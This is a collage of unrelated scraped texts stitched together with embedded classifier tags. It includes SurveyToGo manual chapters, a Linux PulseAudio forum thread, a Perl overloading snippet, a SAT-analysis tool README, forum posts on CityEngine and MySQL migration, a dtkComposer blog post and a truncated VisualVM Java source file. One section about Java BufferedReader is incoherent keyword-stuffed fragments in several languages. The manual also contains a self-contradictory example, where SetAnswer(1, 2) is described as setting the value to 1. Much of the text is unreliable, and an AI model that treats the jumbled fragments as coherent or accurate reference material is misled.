To edit surveys you have already conducted tap the “Edit Additional Surveys” menu option, and then select the relevant survey.
How to change the “Data” field of child surveys for later editing?
When you choose to edit additional surveys from the device by clicking the option:
You will see a screen that lists out the various child surveys you have filled out. For example:
If you wish executing a child survey automatically, without needing the surveyor to do it manually, you can write the following script in your desired location in your questionnaire:
ChildMgr.StartChildSurvey(“THE NAME OF YOUR CHILD SURVEY”);
Column
Description
Name
Name of the child survey
ID
Internal ID
Time
The time when you have started the child survey run
Data
Additional data that can be associated with the child survey run.
The “Data” field can be used to specify whatever data you might want to associate with the child survey run. This value would populate the SubjectData variable. To set it’s value from within the survey you can use SubjectData = “this is a value”;
The SubjectData is a variable that can later be presented as additional attribute of the survey on the Operations Console and assist with identifying a specific survey run. An example can be a survey of a household that then calls for a child survey for each member of the family. You can call the child survey with the family member name by entering ChildMgr.StartChildSurvey(<Member Name>); or you can set it from within the child survey if the surveyor codes the name as one of the child survey questions. It will then be presented in the Operations Console and in the Additional Info column of the survey result in the surveyor’s device.
Please note you can interact with the “SubjectData” variable anywhere in the questionnaire, including Expression questions, start/end question scripts etc..
‘Communication’ between a Parent survey and a Child survey
The most efficient way to perform information exchange between child and parent survey is by using the Parent object from within the child survey.
You can call any SurveyToGo function by using Parent. for example Parent.Answer(1) would return the value of question 1 in the parent survey. Parent.SetAnswer(1, 2) would set the value of question 1 in the the Parenet survey to 1.
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Chapter 4 – Capturing Multi-Media
May 22, 2012 Leave a comment
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Chapter 3 – Managing a Tablet Survey
About attaching files to the running surveys
SurveyToGo is enabled by default to accept any file that is created during the survey as an attachment to the running survey result. Because of this, any pictures that you take during the survey or any sounds that you record during the survey are automatically attached to the current survey result and will be sent along with the result to the server.
Creating A Multimedia question
Multimedia questions are types of questions which allow you to choose whether it will record Picture, Sound or Video.
Now, once the survey is running, you can capture the multimedia you chose by using the action button that will be displayed in the question.
1. Pictures:
2. Sounds:
3. Videos:
The Clear button will clear the latest multimedia file captured.
Of course, you can capture multiple files at once:
Any multimedia that you capture while you are in a survey is automatically bound to that survey result. Continue running the survey normally and once you synchronize the results back to the server, the pictures are synced with the results.
You can view attachments of specific results in the operations console.
Enter a result, and go to its answer’s tab, there you can see their attachments and the question the attachment was captured.
You can also view the attachment through the link to our server and save a local copy.
How to export the attached pictures/sounds
Attachments can be exported through the regular exporting wizard while exporting the results of a survey.
There are two options for exporting the attachments:
1. ‘Include attachment Results’: If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
1. ‘Include attachment list’ : If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
Both options can be selected together.
In the last screen of the export wizard, you can specify the folder for the attachments and choose your attachment exporting configuration.
Option Description
Export Data File This is the file name that will be filled with all the results according to your selection
Include result attachments If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
Include attachment list If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
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Chapter 6 – Exporting & Printing
May 14, 2012 2 comments
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Chapter 5 – Showing pictures & media on the PDA
About Exporting & Printing
SurveyToGo enables you to export the data of a survey at any point, to a number of different applications & formats. Furthermore, additional export providers can be written easily to support additional formats. Currently, the supported formats include MS Excel, MS Access, SPSS & XML. When exporting, you have complete control on the order of the exported columns, enabling you to separate the way the survey is presented from the way the data is to be exported.
The Export Wizard
Whenever you wish to export the data of the survey, you simply double click on the “Collected Data” Node in the relevant project:
On the screen that opens you have the choice of exporting the interviews or the actual survey structure. Choose the “Survey Results” option and select the relevant survey, then click “Export”:
Please note only active surveys will be displayed in the list. If your survey is marked as “Draft” or “Closed” then it will not be shown. If you need to export results of closed surveys, simply change their mode back to production or test.
Survey select screen
In this screen, simply select the survey who’s results you would like to export and click Next:
Export provider screen
Simply select the desired export provider and click the Next button.
Export options screen
To see a list of all the fields and their descriptions please click here: List of all fields and descriptions
When done you can either click the columns order tab to change the columns order settings, or click Next to continue.
Columns Order screen
The columns order screen allows you to define the exact order of the columns you would like to have when exporting the survey results. You can choose to export all or only a subset of the columns available, or even export a column more then once. Both the left list and the right list support multiple selections (by using the Shift and or Control keys) and are completely sort able by any column you desire.
When you are done configuring the order and number of columns you need to export, simply click the options tab or click Next to continue the export process.
Note: export settings are saved on your computer for the when you need to export the same survey again.
Option Description
Left list – Source columns Contains all the available columns. You can select one or more columns from this list to move to the output columns list. Internal columns, like the ‘duration’ column etc have a yellow background while survey specific columns have a white background. The list supports multiple selections & sorting. To sort, simply click the column of the list you would like to sort by.
Right list – output columns Contains all the columns that will be included in the output export file. The order of the columns is the actual order of the exported file. To change the order of the columns you can press the up/down arrows. To create a copy of a column, right click that column:
Up/down buttons Control the actual order of the columns. You can select either one or more columns and press the up down buttons to move these columns up or down.
Left/right buttons Control the movement of columns between the left and right list.
Options screen
The options screen allows you to specify some general options regarding the exported file. When you are done, simply click the Next button to continue.
Option Description
Include Filtered Out subjects Subjects who participate in your survey can be filtered out from the survey due to certain conditions. If checked filtered out subjects will also be included in the exported file, and an additional column – “Filter” is added to the exported data. The “Filter” column contains the index of the question the subject was filtered at.
Export only results submitted between… and … Enables you to specify a date range for the exported results. If specified, only results from the specified range are included in the export.
Swap rows and cols If checked, the results are exported so that each subject is a column, and each question is a row, instead of the regular format where each subject is a row and each question is a column.
File name selection screen
The file name selection screen allows you to enter the name of the output file name. When you are done, click the finish button to continue.
Option Description
Export Data File This is the file name that will be filled with all the results according to your selection
Include result attachments If you specify this option and select a folder location, any picture attachment that was included in the results will be placed in this folder. The name of the picture will be according to the relevant SubjectID field in the results file.
Include attachment list If checked, you can choose a csv file that will receive a list of links to the various pictures that were included in the results. This is useful if you need links to the attachments instead of the actual pictures.
After you click the finish button, you will see the following screen:
Answer Yes to open the exported file using its associated application, or no to continue without opening the external application.
Exporting the survey (not the results)
Sometimes there comes a need to export the actual survey structure. This can include backup purposes, moving a survey from one SurveyToGo server to another one and more. To export a survey to XML, simply choose “Survey > Export” then choose Export Survey:
Choose the survey you would like to export, and click Next:
Choose the default SurveyToGo export provider and click Next:
Then choose a file name and click the finish button. The survey will be saved to the path you indicated.
Printing
Printing a survey can be very useful for both keeping a hard copy version of the survey & for sending to clients & team members for review. You can both directly print a survey or perform a print preview.
Direct Printing
To directly print a survey in SurveyToGo, choose the “Survey > Print” menu option:
Then choose the printer you desire from the standard printer selection screen and press OK to print:
Print Preview
To preview a survey before printing, select the “Survey > Print Preview” menu option:
Then the print preview screen will show, allowing you to preview the output before printing:
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SurveyToGo – Built-In Functions Hand Book
May 14, 2012 1 comment
Overview
SurveyToGo contains an enormous set of built-in functions ready to use.
We have assembled all of them in one file – a useful handbook for scripting surveys.
Please see this link for the download:
http://www.dooblo.net/downloads/SurveyToGoCommands.zip
It contains all the functions but in a more raw form. We are in the process of moving them from this file to a more elegant web manual. The beta version of the web manual is here: http://stg.dooblo.net/ULDocs – but it is only in beta so please expect things to be a bit weird with it.
We strongly recommend having this, Very Handful!
Visit us at: http://www.dooblo.net
Chapter 19 – GPS Tracking
January 26, 2012 1 comment
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About Viewing GPS Tracking in Survey To Go Studio
SurveyToGo is enabled by default to use the GPS tracking feature of your devices without any pre-configuration needed.
Now you can track your surveyor’s location, know their route of movement and follow the specific location where surveys were conducted.
This feature gives field-managers and any other back-office teams a whole new aspect of benefits in organizing, managing and supervising your field team.
GPS Functionality in SurveyToGo
Where it is?
On your SurveyToGo Studio software, on the left side, where the main tree of your organization is, you can notice that there is an expandable node called ‘GPS Tracking’.
Show Latest Locations Node
This node will allow you to see all latest surveyors’ locations tracked by the GPS feature in their devices.
If you double click this node, you would get a window with the following menu:
1. This button will provide you with the map, showing the latest surveyor locations tracked.
2. You can define your search according to a specific user, specific group or all users at once.
3. Here you can define the time scale according to the time you want to track locations.
From five days ago until two hours ago.
4. You can save the map provided in step 1 as a Google Earth file.
After you click the ‘Get latest locations’ button, you would be provided with a map showing the latest locations tracked.
• In the upper part you have a navigation bar, you can move by using the mouse as well.
• If you float with the cursor above one of the location pins, you can see the specific user, time and date that this location was tracked.
• In the bottom right corner, you can see the view scale of the map.
• The map indicates street names and important locations name as well.
Show Route Node
This node will allow you to view specific routes that the surveyors did, according to the order of the locations tracked.
If you double click this node, you would get the following menu.
1. Here you can choose the user to track its route, if you click the ‘Get User’s route’, it will provide you with a map indicating the users route.
2. Here you can define the time scale for viewing the route.
After you click the ‘Get User’s route’ button, you would be provided with a map showing the route of the user chosen.
• The red triangle sign indicates where the route has begun.
• The red square sign indicates where the route has finished.
• The small ‘S’ sign indicates a location where a survey has been conducted.
• The green lines indicate the route of the user, following the locations tracks according to their order.
• If you float with the cursor above any of these items, you would get the user, time and date that the item had been tracked.
Viewing the GPS Tracking through the Operations Grid
If you enter to the operations grid, you can choose a specific result and double click it:
If you go under the ‘Map’ tab, you would be able to view the specific place where this result was conducted.
• You can view this in Google Maps
• You can copy the specific coordinates to your clipboards.
• You can save this as a Google Earth file
• If you float over the location pin with your cursor you would see the user, time, date, result number and survey name.
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Usando o bufferedreader
Show us exactly how you are using nextLine() and we will surely have a solution faster.By posting your answer, you agree to the privacy policy and terms of service.The config file would be named conf.properties and then it would have in it.
Using IntelliSense | Microsoft Docs
BufferedReader - JUniversal
According BufferedReader javadoc, In general, each read request made of a Reader causes a corresponding.
OpenTop C++ class: BufferedReader - ElCel Technology
The presentation will start after a short (15 second) video ad from one of our sponsors.
Usando o Office 365 Personal e Home - mva.microsoft.com
In looking at the Javadoc for the java.io package, we see a dizzying array of classes.
Java Input and Output (I/O) - DePaul University
What is a BufferedReader in Java, and how do we use it
: Class BufferedReader
¿Escribir un programa en Java que lea una frase por el
Serializability of a class is enabled by the class implementing the java.io.Serializable interface.
[Java] package com.company; import java.io.BufferedReader
The Java.io.BufferedReader class reads text from a character-input stream, buffering characters so as to provide for the efficient reading of characters, arrays, and.
public class Par T private T a b public ParT a T b thisa a
What is the use of BufferedReader in Java program?
BufferedReader is used to support buffered reading operations.
Java IO Tutorial - Java BufferedReader.readLine()
Java FileWriter Class - Learn Java in simple and easy steps starting from basic to advanced concepts with examples including Java Syntax Object Oriented Language.
What I mean is, you need to give us EXACTLY the code you are using with getLine().Ask Question. up vote 3 down vote favorite. 1. I think BufferedReader is better than scanner simply because it does what it says, it buffers.What you want to do is use nextLine for everything, and parse it later.
Browse other questions tagged java or ask your own question.What is the difference between using Buffered reader class and Scanner.
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Most simple example of reading file line by line is using BufferedReader which provides method readLine.
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In this tutorial I set up 3 text files and write a program that implements the BufferedReader to read.
FileInputStream fsdel = new FileInputStream("C:/Folder
import java.io.BufferedReader; import java.io.IOException
Java (programming language): What is the difference
Como enviar parâmetros via post em java usando
Java example to show how to read file with BufferedReader class.Read text from a character-input stream, buffering characters so as to provide for the efficient reading of characters.Enter a Brief Course Description: Introduction to programming.
How to read until end of file (EOF) using BufferedReader in Java.Infinite area under curve without using derivatives and integrals.It seems you are using the Google Docs viewer, but you can easily use the API to get an HTML export of a document without the viewer, by.This tutorial explains Java IO streams Java.io.BufferedReader class in Java programs. Java.io.BufferedReader class reads text from a character-input stream, buffering. | __label__pos | 0.579505 |
LINUX.ORG.RU
module-alsa-card.c: Failed to find a working profile.
,
0
1
#> /etc/init.d/udev restart
* WARNING: you are stopping a sysinit service
* Stopping udev ... [ ok ]
* Starting udev ... [ ok ]
* Populating /dev with existing devices through uevents ... [ ok ]
* Waiting for uevents to be processed ...
E: [pulseaudio] module-alsa-card.c: Failed to find a working profile.
E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="29" name="platform-thinkpad_acpi" card_name="alsa_card.platform-thinkpad_acpi" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes card_properties="module-udev-detect.discovered=1""): initialization failed.
E: [pulseaudio] module-alsa-card.c: Failed to find a working profile.
E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="29" name="platform-thinkpad_acpi" card_name="alsa_card.platform-thinkpad_acpi" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes card_properties="module-udev-detect.discovered=1""): initialization failed. [ ok ]
Зачем модуль стартует дважды?
К какому пакету относится module-alsa-card.c? Что пересобрать?
К какому пакету относится module-alsa-card.c? Что пересобрать?
$ locate module-alsa-card
/usr/lib32/pulse-1.1/modules/module-alsa-card.so
$ equery b /usr/lib32/pulse-1.1/modules/module-alsa-card.so
* Searching for /usr/lib32/pulse-1.1/modules/module-alsa-card.so ...
app-emulation/emul-linux-x86-soundlibs-20120127 (/usr/lib32/pulse-1.1/modules/module-alsa-card.so)
Всегда Ваш К.О.
init_6 ★★★★★ ()
Ответ на: комментарий от garmonbozia
В pavucontrol почему-то изменился дефолтный звуковой девайс. Выбрал нужный, звук появился.
garmonbozia ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив. | __label__pos | 0.77238 |
my $str = str::new(''); my $html = "$str"; print $html; # print $html->encode; # <encode this later> #### #!/usr/bin/perl use strict; use warnings; use 5.010; use Data::Dumper; $Data::Dumper::Sortkeys=1; my $str1 = str::new('foo'); my $str2 = str::new('bar'); my $good1 = "$str1 $str2"; my $good2; $good2 = $good1; my($good3, $good4); $good3 = "$str1 a"; $good4 = "a $str1"; my($bad1, $bad2, $bad3); $bad1 = "a $str1 a"; $bad2 = "$str1 $str2"; $bad3 = "a $str1 a $str2 a"; say Dumper { GOOD => [$good1, $good2, $good3], BAD => [$bad1, $bad2, $bad3] }; $bad1 = ''."a $str1 a"; $bad2 = ''."$str1 $str2"; $bad3 = ''."a $str1 a $str2 a"; say Dumper { BAD_GOOD => [$bad1, $bad2, $bad3] }; package str; use Data::Dumper; $Data::Dumper::Sortkeys=1; use strict; use warnings; use 5.010; use Scalar::Util 'reftype'; use overload ( '""' => \&stringify, '.' => \&concat, ); sub new { my($value) = @_; bless((ref $value ? $value : \$value), __PACKAGE__); } sub stringify { my($str) = @_; #say Dumper { stringify => \@_ }; if (reftype($str) eq 'ARRAY') { return join '', @$str; } else { $$str; } } sub concat { my($s1, $s2, $inverted) = @_; #say Dumper { concat => \@_ }; return new( $inverted ? [$s2, $s1] : [$s1, $s2] ); } 1; #### $VAR1 = { 'BAD' => [ 'a foo a', 'foo bar', 'a foo a bar a' ], 'GOOD' => [ bless( [ bless( [ bless( do{\(my $o = 'foo')}, 'str' ), ' ' ], 'str' ), bless( do{\(my $o = 'bar')}, 'str' ) ], 'str' ), $VAR1->{'GOOD'}[0], bless( [ $VAR1->{'GOOD'}[0][0][0], ' a' ], 'str' ) ] }; $VAR1 = { 'BAD_GOOD' => [ bless( [ '', bless( [ bless( [ 'a ', bless( do{\(my $o = 'foo')}, 'str' ) ], 'str' ), ' a' ], 'str' ) ], 'str' ), bless( [ '', bless( [ bless( [ $VAR1->{'BAD_GOOD'}[0][1][0][1], ' ' ], 'str' ), bless( do{\(my $o = 'bar')}, 'str' ) ], 'str' ) ], 'str' ), bless( [ '', bless( [ bless( [ bless( [ bless( [ 'a ', $VAR1->{'BAD_GOOD'}[0][1][0][1] ], 'str' ), ' a ' ], 'str' ), $VAR1->{'BAD_GOOD'}[1][1][1] ], 'str' ), ' a' ], 'str' ) ], 'str' ) ] }; | __label__pos | 0.978825 |
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cnf-analysis-py
Author: Lukas Prokop
Date: June 2015 to August 2016
Version: 3.0.0
license:CC-0
cnf-analysis-py is a library to analyze DIMACS CNF files. Those files are commonly used to decode SAT problems and a few basic features of a CNF file might tell you something about the problem stated.
This tool evaluates a list of features which are thoroughly described by the project and stores them in a JSON file.
How To Use
To install use pip3:
$ pip3 install cnfanalysis
Then the command line tool to analyze CNF files is available:
$ echo "p cnf 3 2\n1 -3 0\n2 3 -1 0\n" > example.cnf
$ cnf-analysis-py example.cnf
File example.stats.json has been written.
$ cat example.stats.json
[
{
"@cnfhash": "cnf2$7d16f8d71b7097a2f931936ae6d03d738117b2c6",
"@filename": "example.cnf",
"@md5sum": "04f6bf2c537242f15082867e66847bd7",
"@sha1sum": "23dd9e64ae0fb4806661b49a31e7f5e692f2d045",
"@timestamp": "2016-08-03T10:52:23.412694",
"@version": "1.0.0",
"featuring": {
"clause_variables_sd_mean": 0.908248290463863,
"clauses_count": 2,
"clauses_length_largest": 3,
"clauses_length_mean": 2.5,
"clauses_length_median": 2.5,
"clauses_length_sd": 0.5,
"clauses_length_smallest": 2,
"connected_literal_components_count": 3,
"connected_variable_components_count": 1,
"definite_clauses_count": 1,
"existential_literals_count": 1,
"existential_positive_literals_count": 1,
"false_trivial": true,
"goal_clauses_count": 0,
"literals_count": 5,
"literals_frequency_0_to_5": 1,
"literals_frequency_50_to_55": 5,
"literals_frequency_entropy": 2.5,
"literals_frequency_largest": 0.5,
"literals_frequency_mean": 0.4166666666666667,
"literals_frequency_median": 0.5,
"literals_frequency_sd": 0.18633899812498247,
"literals_frequency_smallest": 0.0,
"literals_occurence_one_count": 5,
"nbclauses": 2,
"nbvars": 3,
"negative_literals_in_clause_largest": 1,
"negative_literals_in_clause_mean": 1,
"negative_literals_in_clause_smallest": 1,
"negative_unit_clause_count": 0,
"positive_literals_count": 3,
"positive_literals_in_clause_largest": 2,
"positive_literals_in_clause_mean": 1.5,
"positive_literals_in_clause_median": 1.5,
"positive_literals_in_clause_sd": 0.5,
"positive_literals_in_clause_smallest": 1,
"positive_negative_literals_in_clause_ratio_entropy": 0.8899750004807708,
"positive_negative_literals_in_clause_ratio_mean": 0.5833333333333333,
"positive_unit_clause_count": 0,
"tautological_literals_count": 0,
"true_trivial": true,
"two_literals_clause_count": 1,
"variables_frequency_50_to_55": 1,
"variables_frequency_95_to_100": 2,
"variables_frequency_entropy": 0.5,
"variables_frequency_largest": 1.0,
"variables_frequency_mean": 0.8333333333333334,
"variables_frequency_median": 1.0,
"variables_frequency_sd": 0.23570226039551584,
"variables_frequency_smallest": 0.5,
"variables_largest": 3,
"variables_smallest": 1,
"variables_used_count": 3
}
}
]
Performance
cnf-analysis-py puts CNF files supplied as command line arguments into a process pool and uses processes in the number of CPUs available on your machine. You can however use -u to define the number of parallel processes. Also consider the remarks for memory.
This sort of parallelism should be best suited for python and I retrieved the following runtime results (for SAT competition 2016 CNF files):
• 3434 files (5.9 GB in total) in Agile took 23h 19min
• esawn_uw3.debugged.cnf (1.4 GB) in app16 took 8 hours and 15 minutes
• bench_573.smt2.cnf (1.6 MB) in Agile took 2min 14sec
Be aware that the performance mainly depends on the features computed. Designated tool to compute a subset of features can be much faster, however none is provided with this implementation.
I am using my Thinkpad x220t with 16GB RAM and an Intel Core i5-2520M CPU (2.50GHz) as reference system here.
Memory
Again, we consider SAT competition 2016 CNF files and besides Thinkpad x220t we also consider a desktop system with an Intel Core i7 CPU (2.8GHz) but only 4 GB RAM.
In Agile CNF files have 1.7 MB average file size. 5 MB files take at most 50 MB (factor 10) to evaluate them.
sin.c.75.smt2-cvc4.cnf (770 MB) in app16 even yielded a MemoryError in python on my Linux machine with only 4 GB. On my 16 GB machine it took 3 hours and 15 minutes.
esawn_uw3.debugged.cnf used 8 GB RAM.
Thrashing can dramatically reduce performance. Hence, if your entire memory is used, consider cancellation. Use units = total virtual memory / (avg file size * 10) to determine the recommended number of parallel units.
Certainly this implementation is not very memory efficient.
Dependencies
It works with Python 3.4 or later. I tested it on linux x86_64. Package dependencies are listed in requirements.txt:
• python_algorithms for a Union-Find implementation
• cnfhash to compute the cnfhash
Command line options
--ignore c --ignore x
Ignore any lines starting with "c" or "x". If none is specified "c" and "%" is ignored.
--no-hashes
skip hash computations
--fullpath
print full path, not basename
DIMACS files
DIMACS files are read by skipping any lines starting with characters from --ignore. The remaining content is parsed (header line with nbvars and nbclauses) and in the remaining line, integers are retrieved and passed over. Hence the parser yields a sequence of literals.
Features
Features are documented in my paper "Analyzing CNF benchmarks".
Cheers, prokls
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Analyze CNF benchmark files with python3
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Languages | __label__pos | 0.988048 |
Textures are inside when loading multipatch to CityEngine
531
2
Jump to solution
11-23-2020 05:20 AM
AndresKasekamp
New Contributor III
I have a building which is texturised, but when I loaded into CityEngine, the textures seem to be inside the building for some reason. How can I fix this error or is the error due to the way the buildings were texturised in the first place?
Building in CityEngine:
AndresKasekamp_0-1606137045444.pngAndresKasekamp_1-1606137093251.pngAndresKasekamp_2-1606137113856.png
Building in ArcGIS Pro:
AndresKasekamp_0-1606137420716.png
0 Kudos
1 Solution
Accepted Solutions
BrianWamsley
Occasional Contributor III
Simple answer first, have you tried in the Shapes tab, the reverse normals option?
View solution in original post
2 Replies
BrianWamsley
Occasional Contributor III
Simple answer first, have you tried in the Shapes tab, the reverse normals option?
View solution in original post
AndresKasekamp
New Contributor III
Thanks, it worked!
0 Kudos | __label__pos | 0.707965 |
parallel map node in dtkComposer
dtkComposer layer
Since the beginning of the dtkComposer layer, the Map and Foreach nodes allow the user to apply the same sub-composition to an input container (Qt container, std::vector, dtkArray, etc .). We can for example read a bunch of files from a given directory, put the result in a QStringList and apply a treatment (sub-composition) to each of the files.
Using the same technique we use for the remote execution of composition (serialization of the composition as XML, and use of a dtkComposerReader at the remote end), we are now able to add a parallel Map node.
map node
The idea is to start a qthread based dtkDistributedCommunicator in the parallel Map node, and send to each threads the XML serialization of it’s internal composition (the visual program inside the Map node). Each thread will run the composition on a given range of the input container, and will write the result in the output container. In the next toy example, we apply to a list of images a very basic set of filters (Gaussian and Normalize filters):
alt text
parallel map node implementation
One of the limitation of the initial design of the composer was that even though the visual aspect (called the dtkComposerScene) was separated from the evaluation aspect (dtkComposerEvaluator), the Scene was used to build the evaluation graph used by the Evaluator from the XML (and the scene was also needed to write the XML). This was a real problem for the multithreaded implementation of the Map node, since each thread had no scene at all. We have now refactored completely the dtkComposerReader and dtkComposerWriter (used for the XML Serialization/Deserialization), and we are now able to use a dtkComposerEvaluator without any scene.
In the next example, we now use the Parallel Map node instead of the Map. We can notice that it’s exactly the same composition, the user only needs to switch from the Map node to the ParallelMap one in order to use all the available cores of it’s computer.
alt text
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mysql question
Discussion in 'OT Technology' started by Leb_CRX, Apr 8, 2004.
1. Leb_CRX
Leb_CRX OT's resident terrorist
Joined:
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Location:
Ottawa, Canada
ok say I am working on my own PC on a mySQL database, and I suddenly get a hosting account, whats the fastest way to transfer that over? do they allow me to SSH into it and load it that way? (I presume from a backup) or how exactly? does it depend on the hosting company I am with or how exactly? I need more info on this, probally a mad n00by question, but I never done this so :hs:
2. Slid.
Slid. I'm a guy.
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Well I'm guessing you're not using something like phpMyAdmin - which allows you great control over a mySQL database. If you don't already have it I'd *highly* recommend it for both you and your hosting account (most hosts ALREADY have this however).
You want to use a mysqldump command found below:
http://www.mysql.com/doc/en/mysqldump.html
phpMyAdmin install instructions can be found here:
http://www.aota.net/PHP_and_MySQL/phpmyadmin.php4
A mySQL dump will basically dump everything from a database into a text file that has all the INSERT and CREATE commands you need to run on the new server.
3. Leb_CRX
Leb_CRX OT's resident terrorist
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Oh wow Slid, I didn't even know that (the dump has the inserts/create), I remember CyberBullets posting about that for me a while back when I was looking for a backup but I never opened the file and looked at it.
as for phpMyAdmin, I am definitivally gonna give that a go, thanks! :)
4. Slid.
Slid. I'm a guy.
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5. Leb_CRX
Leb_CRX OT's resident terrorist
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another question, non-sql related, do hosts allow me to SSH into the server and make changes if needed?
6. CyberBullets
CyberBullets I reach to the sky, and call out your name. If I c
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some hosts require you to verify who you are before they open up ssh to you.
usually download a program called PuTTY and conenct using ur master username/password.
7. Leb_CRX
Leb_CRX OT's resident terrorist
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I know putty I use it to login to my linux server, among other things
I just wasen't sure if they allowed access through it, but I guess that's the answer
8. Ximian
Ximian New Member
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Why don't you ask them to be sure considering everyone has a different security policy. Generally speaking, if you have access to it, you're allowed to use it, just don't abuse it.
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Sourcecode: visualvm version File versions Download package
CPUCCTContainer.java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS HEADER.
*
* Copyright 1997-2007 Sun Microsystems, Inc. All rights reserved.
*
* The contents of this file are subject to the terms of either the GNU
* General Public License Version 2 only ("GPL") or the Common
* Development and Distribution License("CDDL") (collectively, the
* "License"). You may not use this file except in compliance with the
* License. You can obtain a copy of the License at
* http://www.netbeans.org/cddl-gplv2.html
* or nbbuild/licenses/CDDL-GPL-2-CP. See the License for the
* specific language governing permissions and limitations under the
* License. When distributing the software, include this License Header
* Notice in each file and include the License file at
* nbbuild/licenses/CDDL-GPL-2-CP. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the GPL Version 2 section of the License file that
* accompanied this code. If applicable, add the following below the
* License Header, with the fields enclosed by brackets [] replaced by
* your own identifying information:
* "Portions Copyrighted [year] [name of copyright owner]"
*
* Contributor(s):
* The Original Software is NetBeans. The Initial Developer of the Original
* Software is Sun Microsystems, Inc. Portions Copyright 1997-2006 Sun
* Microsystems, Inc. All Rights Reserved.
*
* If you wish your version of this file to be governed by only the CDDL
* or only the GPL Version 2, indicate your decision by adding
* "[Contributor] elects to include this software in this distribution
* under the [CDDL or GPL Version 2] license." If you do not indicate a
* single choice of license, a recipient has the option to distribute
* your version of this file under either the CDDL, the GPL Version 2 or
* to extend the choice of license to its licensees as provided above.
* However, if you add GPL Version 2 code and therefore, elected the GPL
* Version 2 license, then the option applies only if the new code is
* made subject to such option by the copyright holder.
*/
package org.netbeans.lib.profiler.results.cpu;
import org.netbeans.lib.profiler.ProfilerLogger;
import org.netbeans.lib.profiler.global.InstrumentationFilter;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.MethodCPUCCTNode;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.RuntimeCPUCCTNode;
import org.netbeans.lib.profiler.results.cpu.cct.nodes.TimedCPUCCTNode;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* An instance of this class contains a presentation-time CCT for the given thread in the compact, flattened form, that is also fast
* to generate and save/retrieve.
* Can represent data only on the method level "view" AKA "aggregation level". The CPUCCTClassContainer subclass provides functionality
* to create and represent data at class and package aggregation level. The AllThreadsMergedCPUCCTContainer also supports views. A single
* instance of CPUCCTContainer or its subclass can represent data only on a single aggregation level.
*
* @author Tomas Hurka
* @author Misha Dmitriev
*/
00065 public class CPUCCTContainer {
//~ Static fields/initializers -----------------------------------------------------------------------------------------------
private static final Logger LOGGER = Logger.getLogger(CPUCCTContainer.class.getName());
// -- Data used for the compact representation of the CCT
/* In the compactData array, data is packed in the following way:
* |---------------------------------------------------------------------------------------------------------
* | methodID | nCalls |time0 | self |time1 | self |nbr. of subnodes | subnode0 | | subnodeN |
* | | | | time0 |(if 2 timers | time1 | | offset | ... | offset |
* | | | | | used) | | | | | |
* |---------------------------------------------------------------------------------------------------------
* 2 bytes 4 bytes 5 bytes 5 bytes 5 bytes 5 bytes 2 bytes 3 or 4 bytes depending on the size of compactData array
*/
protected static final int OFS_METHODID = 0;
protected static final int OFS_NCALLS = OFS_METHODID + 2;
protected static final int OFS_TIME0 = OFS_NCALLS + 4;
protected static final int OFS_SELFTIME0 = OFS_TIME0 + 5;
protected static final int OFS_TIME1 = OFS_SELFTIME0 + 5;
protected static final int OFS_SELFTIME1 = OFS_TIME1 + 5;
protected static final int OFS_NSUBNODES1 = OFS_SELFTIME0 + 5;
protected static final int OFS_NSUBNODES2 = OFS_SELFTIME1 + 5;
protected static final int OFS_SUBNODE01 = OFS_NSUBNODES1 + 2;
protected static final int OFS_SUBNODE02 = OFS_NSUBNODES2 + 2;
protected static final int CHILD_OFS_SIZE_3 = 3;
protected static final int CHILD_OFS_SIZE_4 = 4;
// These are just the same-named xxxAbsCounts values converted into microseconds. So far used ONLY for informational purposes
// (in "get internal statistics"), thus static is more or less tolerable (so far...)
private static double timeInInjectedCodeInMS;
private static double wholeGraphGrossTimeAbsInMS;
//~ Instance fields ----------------------------------------------------------------------------------------------------------
protected CPUResultsSnapshot cpuResSnapshot;
protected FlatProfileContainer cachedFlatProfile;
protected PrestimeCPUCCTNode rootNode;
protected String threadName;
protected byte[] compactData;
protected int[] invPerMethodId;
// -- Temporary data used during flat profile generation
protected long[] timePerMethodId0;
protected long[] timePerMethodId1;
protected boolean collectingTwoTimeStamps; // True if we collect two timestamps, absolute and thread CPU, for each method invocation
protected boolean displayWholeThreadCPUTime; // True if we can calculate, and thus display, valid whole thread CPU time
// Time spent in instrumentation, measured in counts
protected double timeInInjectedCodeInAbsCounts;
protected double timeInInjectedCodeInThreadCPUCounts;
protected int childOfsSize = -1;
protected int nodeSize; // Size of a single node above, not taking possible subnodeOffset fields into account
protected int threadId;
// -- Data that is supposed to be used for user information in various parts of the CPU results display
// Gross time spent in the whole graph, measured in counts. It's measured by "starting the clock" when the root
// method is entered, and "stopping the clock" when it exits. Time for hotswapping and on-line data processing
// is factored out, so what is actually contained in wholeGraphGrossTime is (pure time + instrumentation time).
// Note that independent of method timestamps collected, root method entry and exit events always have both
// absolute and thread CPU time stamps.
protected long wholeGraphGrossTimeAbs;
protected long wholeGraphGrossTimeThreadCPU;
// This is calculated as a sum of net times spent in all methods
protected long wholeGraphNetTime0;
protected long wholeGraphNetTime1;
// This is calculated as the above gross time minus total time spent in instrumentation
protected long wholeGraphPureTimeAbs;
protected long wholeGraphPureTimeThreadCPU;
private InstrumentationFilter filter;
private PrestimeCPUCCTNodeFree reverseCCTRootNode;
// private ProfilingSessionStatus status;
private int[] nodeStack;
private int childTotalNCalls;
private int currentNodeStackSize;
private int nodeStackPtr;
// -- Temporary data used during reverse CCT generation
private int selectedMethodId;
// -- Temporary data used during above array generation
private long childTotalTime0InTimerUnits;
private long childTotalTime1InTimerUnits;
private long totalInvNo;
private TimingAdjusterOld timingAdjuster;
